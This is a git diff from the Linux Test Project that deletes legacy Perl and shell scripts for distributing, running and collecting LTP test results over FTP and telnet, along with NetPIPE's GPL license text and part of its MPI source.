-                        $case = $2;
-                        # print "$case\n";
-                        if (exists $hash{$case}) {
-                        #       print "$hash{$case} before\n";
-                                $counter = $hash{$case}+1;
-                                $hash{$case} = $counter;
-                        #       print "$hash{$case} later\n";
-
-                        }
-                        else {
-                                $hash{$case}=1;
-                        }
-                }
-        }
-
-      $pass_percent = sprintf("%.2f",
-                         ($num_success / ($num_success + $num_fail)) * 100);
-
-      $ltp_ver = `grep "version" $LTP_RUN_OUTPUT`;
-      if ( $ltp_ver =~ m/.*version: (.*)/ ) { $ltp_ver = $1; }
-
-      $line = "Pass $pass_percent % : $num_success succeeded : $num_fail failed";
-      print "$line\n";
-
-      $line1 = `sar -f $SAR_OUTFILE |tail -n 1`;
-      if ($line1 =~ /(.+)/) {
-        @sarstats1 = split(/\s+/, $line1);
-        print "Cpu user = $sarstats1[2]%\n";
-        print "Cpu nice = $sarstats1[3]%\n";
-        print "Cpu system = $sarstats1[4]%\n";
-
-        $line2 = `sar -r -f $SAR_OUTFILE |tail -n 1`;
-        @sarstats2 = split(/\s+/, $line2);
-        print "Memory used = $sarstats2[3]%\n";
-        print "Swap used = $sarstats2[9]%\n";
-
-        $line3 = `sar -c -f $SAR_OUTFILE |tail -n 1`;
-        @sarstats3 = split(/\s+/, $line3);
-        print "Processes created per second = $sarstats3[1]%\n";
-      }
-
-      if (open RES, ">$RESULTS_OUT")
-      {
-         print ". -> Results stored in $RESULTS_OUT\n";
-         if (!open FAILS, ">$FAILS_OUT") { print "Error opening $FAILS_OUT\n"; }
-         $num =
-#The <<<test_start>>> doesn't always get into the runalltest.sh output capture
-#because some output will appear before its corresponding block
-#So for now relying on last thing from ver_linux to know when to stop copying
-#          system("awk '/<<<test_start>>>/ { exit NR-1; }' $LTP_RUNALL_OUT") / 256;
-           system("awk '/bogomips/ { exit NR; }' $LTP_RUNALL_OUT") / 256;
-
-         @system_info = `head -n $num $LTP_RUNALL_OUT`;
-
-         if ($ltp_ver) { print RES "$ltp_ver : "; }
-         print RES "$line\n\n";
-         if ($line1 =~ /(.+)/) {
-           print RES "Cpu user = $sarstats1[2]%\n";
-           print RES "Cpu nice = $sarstats1[3]%\n";
-           print RES "Cpu system = $sarstats1[4]%\n";
-           print RES "Memory used = $sarstats2[3]%\n";
-           print RES "Swap used = $sarstats2[9]%\n";
-           print RES "processes created per second = $sarstats3[1]%\n\n";
-        }
-         print RES "@system_info\n";
-         print RES "$stat:\n";
-
-         #print out each failed case information.
-         foreach $case(keys %hash){
-                print RES "failed case=$case\tnumber of failures=$hash{$case}\n";
-         }
-#end of new ouput section
-
-         $runall = `cat $LTP_RUNALL_OUT`;
-
-	 # reset hash table values to 0
-	 foreach $case(keys %hash){
-		$hash{$case}=0;
-	 }
-
-         for ($j = 0; $j < $num_fail; $j++)
-         {
-            if ( $fails[$j] =~ m/^tag=(\w+?) / )
-            {
-               	$test_case = $1;
-		# each failure case will be printed out only once
-	       	if ((exists $hash{$test_case})&&( $hash{$test_case}==0 )) {
-			$hash{$test_case}=1;
-
-                        if (FAILS) { print FAILS "$test_case\n"; }
-               		print RES "\nTrying to find $test_case output";
-               		if ( $runall =~
-			#modified because some output is appearing before tagline
-                    		m/((^$test_case.*?)*<<<test_start>>>.tag=$test_case.*?<<<test_end>>>)/ms )
-               		{
-               		   	print RES "\n-------------------------\n";
-                 		print RES "$1";
-                 		print RES "\n-------------------------\n";
-               		}
-              		else
-               		{
-                  		print RES "\n-------------------------\n";
-                  		print RES "Unable to locate output for $test_case!";
-                  		print RES "\n-------------------------\n";
-               		}
-		}
-            }
-         }
-         close(RES); close(FAILS);
-      }
-      else
-      { print "Can't open $RESULTS_OUT, test failures are:\n @fails\n"; }
-   }
-   return 1;
-}
-
-if (!download_results)
-{ exit 0; }
-
-if (!untar_results)
-{ exit 0; }
-
-if (!gather_results)
-{ exit 0; }
diff --git a/tools/ltp_master b/tools/ltp_master
deleted file mode 100755
index 4a08acc..0000000
--- a/tools/ltp_master
+++ /dev/null
@@ -1,117 +0,0 @@
-#!/usr/bin/perl
-
-#Master control script; ltp_master
-#       3/12/02 William Jay Huie (creation)
-#       3/28/02 William Jay Huie minor updates
-#This will upload the ltprun script to the test system and kick off this script
-#uses the Net:Telnet and Net::Ftp modules from www.cpan.org
-#the ltprun script is a shell script to eliminate the need to write a script
-#to install these modules on all the target systems
-
-#FIXME: One problem is that the tests need to be run as root as as of now
-#this means that LTP_USER needs to be root, which means root needs to be
-#able to telnet and ftp into the machine. Couldn't figure out how to add
-#a su -c to the LTP_CMD_LINE variable, ssh will probably be the solution
-#but for now this works
-
-use Net::Telnet ();
-use Net::FTP ();
-
-#Leave this set to keep perl from buffering IO
-$| = 1;
-
-#CHANGEME:
-#change these for different defaults
-#Think carefully because things like ltprun.out are relied upon in the ltprun
-#     script, so you need to change them there too, or better yet make them
-#     cmd line parms
-#$LTP_USER = "ltp";
-#$LTP_PASS = "ltp";
-$LTP_USER = "root";
-$LTP_PASS = "password";
-$LTP_RUN = "ltprun";
-#CHANGEME:
-#Can't use ~/bin so have to explicitly hardcode this directory
-$LTP_RUN_DIR = "/home/wjhuie/bin/";
-$LTP_CMD_LINE = "chmod +x $LTP_RUN && nohup ./$LTP_RUN &> $LTP_RUN.out &";
-
-#print "For this to work root must be able to ftp and telnet into the machines\n";
-#print "Check #LTP_RUN_DIR/ltp_master for root password: $LTP_PASS\n";
-
-#print "FIXME: Need to change this to su to root, not login over telnet\n";
-#print "       Or run in some other way like ssh\n";
-
-if ( $ARGV[0] eq "-f" )
-{
-   if ( -f $ARGV[1] )
-   {
-      open(FILE, $ARGV[1]) or die "Can't open $ARGV[1]";
-      for ($i = 0; chomp($hosts[$i] = <FILE>); $i++) { ; }
-      $#hosts--;
-      close(FILE);
-   }
-   else { die "Please specify host list file with option -f\n"; }
-}
-elsif (@ARGV)
-{  @hosts = @ARGV; }
-else
-{
-   print "HOSTS separate with [ENTER] finish with [^D]\n";
-   chomp(@hosts = <STDIN>);
-}
-
-$t = new Net::Telnet (Timeout => 30, Prompt => '/.+[\$#] $/'
-#                     ,Dump_Log => "ltp_control.log"
-#Remove the # on the line above and a copy of the
-#       data exchange will be saved to the file 'ms.log'
-                      );
-
-#FIXME: Need a better retry system, this would loop forever
-#$retry = 0;
-
-for ($j = 0; $j <= $#hosts; $j++)
-{
-   chdir "$LTP_RUN_DIR" or die "Can't change to $LTP_RUN_DIR";
-   print "\nAttempting to Upload $LTP_RUN to: $hosts[$j]";
-
-   $ftp = Net::FTP->new($hosts[$j], Debug => 0) or
-      do { print "\n\tCouldn't connect to: $hosts[$j] --- skipping\n"; next; };
-   $ftp->login($LTP_USER, $LTP_PASS) or die "\nUnable to login";
-   $ftp->type('I') or die "\nUnable to set type to Binary";
-   $ftp->put($LTP_RUN) or die "\nUnable to put $LTP_RUN";
-   $ftp->quit;
-   print "\nUploading $LTP_RUN Done";
-
-   print "\nConnecting to: $hosts[$j]";
-   $t->open($hosts[$j]);
-   $t->errmode("return");
-   $t->login($LTP_USER, $LTP_PASS) or
-                 do { print "\n\tFailed Login to $hosts[$j]! "; next;
-#perhaps work in some sort of retry, but this way will loop forever
-#                      if ($retry) { $j--; } next;
-                    };
-   @l = $t->cmd("$LTP_CMD_LINE");
-
-   if ($j == 0)
-   {
-      if ($l[0]) { print " >\n@l"; @base_output = @l; }
-      else { printf "\nReturned empty Buffer!\n"; }
-   }
-   $a = join("",@l);
-   $b = join("",@base_output);
-   if ($a ne $b)
-   { print "!>\n@l\n"; }
-
-   $t->buffer_empty();
-   $t->close();
-   print "\t Command Completed";
-}
-print "\nAll Done!\n";
-
-#Use snippit below in results script to convert timing info
-#     from tar file name into human readable format
-#$foo = $ARGV[0];
-#($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime($foo);
-#print "$foo\n";
-#print "Hour: $hour Min: $min Sec: $sec\n";
-
diff --git a/tools/ltpoutput b/tools/ltpoutput
deleted file mode 100755
index 7f204cb..0000000
--- a/tools/ltpoutput
+++ /dev/null
@@ -1,41 +0,0 @@
-#!/usr/bin/perl
-
-#    Copyright (c) International Business Machines  Corp., 2001
-#
-#    This program is free software;  you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#    the GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License
-#    along with this program;  if not, write to the Free Software
-#    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-
-#   FILE        : ltpoutput
-#   DESCRIPTION : rips failures out of the output from PAN
-#   HISTORY	:
-#	10/20/2001 Paul Larson (plars@austin.ibm.com)
-#		written
-
-(1 + $#ARGV) || die "Usage: ltpoutput FILE\n";
-
-$buf = "";
-foreach $_ (<>) {
-  $line = $_;
-  $buf = $buf . $line;
-  if($line =~ '<<<test_end>>>') {
-    if($buf =~ "termination_id=[^0]") {
-      $buf =~ tr/<>/-/;
-      print $buf;
-    }
-    $buf = "";
-  }
-  if($line =~ "^pan reported") {
-    print $line;
-  }
-}
diff --git a/tools/ltpoutput2 b/tools/ltpoutput2
deleted file mode 100755
index b70ca45..0000000
--- a/tools/ltpoutput2
+++ /dev/null
@@ -1,40 +0,0 @@
-#!/usr/bin/perl
-
-#    Copyright (c) International Business Machines  Corp., 2001
-#
-#    This program is free software;  you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#    the GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License
-#    along with this program;  if not, write to the Free Software
-#    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-
-#   FILE        : ltpoutput2
-#   DESCRIPTION : reads from STDIN and rips failures out of the output from PAN
-#   HISTORY	:
-#	12/12/2001 Robbie Williamson (robbiew@us.ibm.com)
-#		adapted from `ltpoutput`
-
-
-$buf = <STDIN>;
-foreach $_ (<>) {
-  $line = $_;
-  $buf = $buf . $line;
-  if($line =~ '<<<test_end>>>') {
-    if($buf =~ "termination_id=[^0]") {
-      $buf =~ tr/<>/-/;
-      print $buf;
-    }
-    $buf = "";
-  }
-  if($line =~ "^pan reported") {
-    print $line;
-  }
-}
diff --git a/tools/ltprun b/tools/ltprun
deleted file mode 100755
index 1fe9b13..0000000
--- a/tools/ltprun
+++ /dev/null
@@ -1,145 +0,0 @@
-#initial attempt at an automation script: ltprun
-#       3/12/02 William Jay Huie (creation)
-#       3/28/02 William Jay Huie minor updates
-#this will be kicked off by ltp_master from the master control machine which
-#uploads this script and then telnets into each machine and kick this script off
-#perhaps by passing a uniq ID to name the LTP_OUTPUT_TAR file by, or
-#allowing the script to create a unique name itself (reccommended for now)
-#Check ltp_master for details
-#FIXME: One problem is that the tests need to be run as root and this script
-#       doesn't as of yet su
-#
-#CHANGEME:
-LTP_HOST=ltp_host.somewhere.org
-#This is the user to get the ltp.tgz file from, not who we're running as,
-#     that's ocntrolled by ltp_master
-LTP_USER=ltp
-LTP_PASS=ltp
-LTP_TARFILE=ltp.tgz
-LTP_RUNALL_OUT=runall.output
-LTP_LOGFILE=ltp-logfile
-LTP_RUN_OUTPUT=ltprun.out
-SAR_OUTFILE=sar.data
-
-#This script passes the -l ~/ltp/ltp-logfile option to runalltests.sh
-
-if [ -z $1 ]; then
-   SHORT_HOSTNAME=`hostname | perl -e 'while(<>){ m/(\w+)[.\\$]?/ && print $1;}'`
-   TIMESTAMP=`date +%s`
-   LTP_OUTPUT_TAR="$SHORT_HOSTNAME-$TIMESTAMP-ltpoutput.tgz"
-else
-   LTP_OUTPUT_TAR=$1
-fi
-
-download_ltp()
-{
-   echo "Attempting to download the LTP testcases";
-   cd ~
-   rm -Rf ltp $LTP_TARFILE
-   ftp -n $LTP_HOST << END_GET
-   	user $LTP_USER $LTP_PASS
-	bin
-	get $LTP_TARFILE
-	bye
-END_GET
-
-   if [ -s $LTP_TARFILE ]; then
-      echo "              downloaded sucessfully";
-   else
-      echo "FAILED        download of LTP Testcases"; return 0;
-   fi
-   return 1;
-}
-
-untar_ltp()
-{
-   echo "Untarring $LTP_TARFILE now";
-   cd ~
-   tar -zxf $LTP_TARFILE &> /dev/null
-   if [ $? != "0" ]; then
-      echo "Problems untarring the archive"; return 0;
-   else
-      echo "          successfully untarred $LTP_TARFILE";
-   fi
-   return 1;
-}
-
-build_ltp()
-{
-   cd ~/ltp
-   echo "Building LTP Testsuite version: `cat VERSION`";
-   make clean install &> /dev/null
-   if [ $? != "0" ]; then
-      echo "FAILED   LTP Testsuite compilation"; return 0;
-   else
-      echo "         LTP Testsuite compilation successful"
-   fi
-   return 1;
-}
-
-run_ltp()
-{
-   cd ~/ltp
-   rm -f $LTP_RUNALL_OUT $LTP_LOGFILE $SAR_OUTFILE
-   echo "Trying to start sar"
-   sar -o $SAR_OUTFILE 60 0 &
-   echo "Running LTP testsuite"
-   ./runalltests.sh -l ~/ltp/$LTP_LOGFILE &> $LTP_RUNALL_OUT
-   echo "Done running tests"
-   killall -9 sadc
-   echo "Killing sar if it is running"
-   return 1;
-}
-
-#FIXME:
-#collect results has a hack to copy the &>ltprun file into the ~/ltp dir then
-#tar it up with everything else, but this seems to work so far.
-collect_results()
-{
-   echo "Collecting LTP output"
-   cd ~/ltp
-   cp ~/$LTP_RUN_OUTPUT .
-   tar --ignore-failed-read -czf ~/$LTP_OUTPUT_TAR $LTP_RUNALL_OUT $LTP_LOGFILE $LTP_RUN_OUTPUT $SAR_OUTFILE
-
-   if [ -s ~/$LTP_OUTPUT_TAR ]; then
-      echo "LTP output tarfile created sucessfully";
-   else
-      echo "FAILED        tar of LTP results"; return 0;
-   fi
-   return 1;
-}
-
-upload_results()
-{
-   echo "Uploading LTP output"
-   cd ~
-   ftp -n $LTP_HOST << END_PUT
-	user $LTP_USER $LTP_PASS
-	bin
-	put $LTP_OUTPUT_TAR
-	bye
-END_PUT
-#FIXME! Right now don't have a way to verify the upload worked, but
-#we'd like to know so we can delete the OUTPUT_TAR file
-#   rm -f $LTP_OUTPUT_TAR
-    rm -f $LTP_TARFILE
-}
-
-#Start the work!
-
-download_ltp
-if [ $? = 1 ]; then
-   untar_ltp
-   if [ $? = 1 ]; then
-      build_ltp
-      if [ $? = 1 ]; then
-         run_ltp
-      fi
-   fi
-fi
-
-#Want to upload results even if things didn't run
-collect_results
-upload_results
-
-echo "Done"
diff --git a/tools/make-file.sh b/tools/make-file.sh
index becaeb0..d4090b7 100755
--- a/tools/make-file.sh
+++ b/tools/make-file.sh
@@ -35,10 +35,6 @@
 
 [ -e "$file" ] && exit 0
 
-if ! perl -e "print 'A' x $size" > "$file" 2> /dev/null ; then
-	if ! awk 'BEGIN { cnt='$size'; while (cnt--) printf "A" }' > "$file" 2> /dev/null ; then
-		( while ((size--)) ; do echo -n A ; done ) > "$file"
-	fi
-fi
+dd if=/dev/zero bs=1 count="$size" 2>/dev/null | tr "\0" "A" > "$file"
 
 chmod 666 $file
diff --git a/tools/netpipe-2.4-ipv6/COPYING b/tools/netpipe-2.4-ipv6/COPYING
deleted file mode 100644
index 38d7536..0000000
--- a/tools/netpipe-2.4-ipv6/COPYING
+++ /dev/null
@@ -1,339 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                          51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) 19yy  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) 19yy name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/tools/netpipe-2.4-ipv6/MPI.c b/tools/netpipe-2.4-ipv6/MPI.c
deleted file mode 100644
index 75b6286..0000000
--- a/tools/netpipe-2.4-ipv6/MPI.c
+++ /dev/null
@@ -1,143 +0,0 @@
-/*****************************************************************************/
-/* "NetPIPE" -- Network Protocol Independent Performance Evaluator.          */
-/* Copyright 1997, 1998 Iowa State University Research Foundation, Inc.      */
-/*                                                                           */
-/* This program is free software; you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by      */
-/* the Free Software Foundation.  You should have received a copy of the     */
-/* GNU General Public License along with this program; if not, write to the  */
-/* Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.   */
-/*                                                                           */
-/*     * MPI.c              ---- MPI calls source                            */
-/*****************************************************************************/
-#include    "netpipe.h"
-#include    <mpi.h>
-
-#ifdef BSEND
-char *messbuff;
-#define MAXBUFSIZE (10*1024*1024)
-#endif
-
-int Setup(ArgStruct * p)
-{
-	int nproc;
-
-	MPI_Comm_rank(MPI_COMM_WORLD, &p->prot.iproc);
-	MPI_Comm_size(MPI_COMM_WORLD, &nproc);
-	{
-		char s[255];
-		gethostname(s, 253);
-		printf("%d: %s\n", p->prot.iproc, s);
-		fflush(stdout);
-	}
-	p->prot.nbor = !p->prot.iproc;
-
-	if (nproc != 2) {
-		printf("Need two processes\n");
-		exit(-2);
-	}
-
-	if (p->prot.iproc == 0)
-		p->tr = 1;
-	else
-		p->tr = 0;
-
-#ifdef BSEND
-	messbuff = (char *)malloc(MAXBUFSIZE * sizeof(char));
-	if (messbuff == NULL) {
-		printf("Can't allocate for message buffer\n");
-		exit(-1);
-	}
